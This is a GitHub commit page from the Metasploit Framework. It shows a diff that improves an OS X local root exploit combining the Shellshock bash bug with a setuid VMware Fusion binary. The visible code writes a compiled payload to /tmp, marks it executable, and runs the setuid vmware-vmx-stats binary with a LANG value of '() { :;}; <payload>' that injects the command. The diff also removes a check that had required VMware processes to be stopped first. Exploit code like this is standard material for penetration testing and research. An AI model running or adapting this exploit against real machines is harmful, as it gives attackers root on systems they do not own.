Skip to content

Commit 979d046

Browse files
committed
Land rapid7#3885, @mubix's improvements to vmware root.
This prevents the need to kill any processes before getting root privs, which is a good timesaver.
2 parents 37753e6 + f13289a commit 979d046

File tree

1 file changed

+4
-13
lines changed

1 file changed

+4
-13
lines changed

modules/exploits/osx/local/vmware_bash_function_root.rb

Lines changed: 4 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,8 @@ def initialize(info={})
2525
[
2626
'Stephane Chazelas', # discovered the bash bug
2727
'juken', # discovered the VMWare priv esc
28-
'joev' # msf module
28+
'joev', # msf module
29+
'mubix' # vmware-vmx-stats
2930
],
3031
'References' =>
3132
[
@@ -64,18 +65,8 @@ def check
6465
end
6566

6667
def exploit
67-
process_check = datastore['VMWARE_PATH'] + '/Contents/Library/VMware Fusion Services'
68-
processes = cmd_exec("bash -c \"ps ax | grep '#{process_check}'\"").split("\n")
69-
processes.delete_if { |p| p =~ /grep/ }
70-
71-
if processes.length > 0
72-
print_error("VMware is already running the following processes:\n #{processes.join("\n")}")
73-
print_error("These processes must be killed before exploiting.")
74-
return
75-
end
76-
7768
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
78-
path = '/Contents/Library/Open VMware Fusion Services' # path to the suid binary
69+
path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary
7970

8071
print_status("Writing payload file as '#{payload_file}'")
8172
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
@@ -84,7 +75,7 @@ def exploit
8475
cmd_exec("chmod +x #{payload_file}")
8576

8677
print_status("Running VMWare services...")
87-
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}'")
78+
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
8879
end
8980

9081
end

0 commit comments

Comments
 (0)